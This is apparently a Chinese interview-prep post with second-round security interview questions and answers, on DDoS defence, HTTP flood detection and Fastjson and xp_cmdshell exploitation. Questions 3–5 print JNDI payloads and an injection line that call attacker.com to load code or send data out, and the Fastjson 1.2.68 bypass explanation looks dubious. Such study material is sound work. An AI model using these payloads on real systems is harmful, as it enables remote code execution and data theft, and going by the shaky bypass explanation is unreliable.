奇安信二面

《网安面试指南》https://mp.weixin.qq.com/s/RIVYDmxI9g_TgGrpbdDKtA?token=1860256701&lang=zh_CN

5000篇网安资料库https://mp.weixin.qq.com/s?__biz=MzkwNjY1Mzc0Nw==&mid=2247486065&idx=2&sn=b30ade8200e842743339d428f414475e&chksm=c0e4732df793fa3bf39a6eab17cc0ed0fca5f0e4c979ce64bd112762def9ee7cf0112a7e76af&scene=21#wechat_redirect

上难度

问题1：
设计抗DDoS方案时，如何在网络层、传输层、应用层分别部署防护？各列举2项关键技术。

答案：

网络层：BGP AnyCast分流、SYN Cookie防御
传输层：TCP速率限制、连接状态检测（如FIN包验证）
应用层：JavaScript Challenge、行为分析（如鼠标移动频率）

问题2：
如何通过Nginx日志分析识别HTTP Flood攻击？给出至少3个关键指标及对应阈值设置逻辑。

答案：

请求频率：单IP > 1000次/分钟（基线动态调整）
User-Aent分布：异常集中（如90%请求使用相同UA）
URL熵值：大量随机路径请求（如/asdf1234）
响应码比例：高比例404/400（扫描特征）

问题3：
分析Fastjson 1.2.24反序列化漏洞利用条件，给出利用JdbcRowSetImpl的完整Payload及修复方案。

答案：

Payload：

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/Exploit","autoCommit":true
}

修复：
1. 升级至1.2.25+并启用safeMode
2. 配置ParserConfig.getGlobalInstance().addDeny("com.sun.rowset")

问题4：
Fastjson 1.2.68修补了AutoType绕过漏洞，请解释攻击者如何通过异常抛出机制绕过黑名单检测。

答案：

绕过原理：
1. 利用java.lang.Exception子类中的@type字段触发反序列化
2. 异常类加载时绕过checkAutoType()检查
Payload示例：

{"@type":"java.lang.Exception","@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker.com/exp","autoCommit":true
}

问题5：
某系统允许通过SQL语句调用存储过程，如何利用xp_cmdshell实现RCE？说明防御的多层方案。

答案：

攻击步骤：
1. 注入语句：'; EXEC master..xp_cmdshell 'ping attacker.com'--
2. 通过DNS或ICMP外带数据
防御方案：
1. 数据库层：禁用xp_cmdshell、最小权限运行
2. 应用层：输入过滤（如禁用EXEC关键字）
3. 网络层：出站流量监控

问题：
设计抗DDoS方案时，如何保障核心业务在500Gbps流量攻击下的可用性？需包含架构设计及应急响应流程。

答案：

架构设计：
1. 流量清洗中心：AnyCast+GRE隧道引流
2. 多CDN动态调度（如Cloudflare+Akamai）
3. 业务降级：静态页面回退、非核心服务限流
应急流程：
1. 实时监控触发阈值（如95%带宽占用）
2. 自动切换至清洗中心
3. 人工分析攻击特征更新防护规则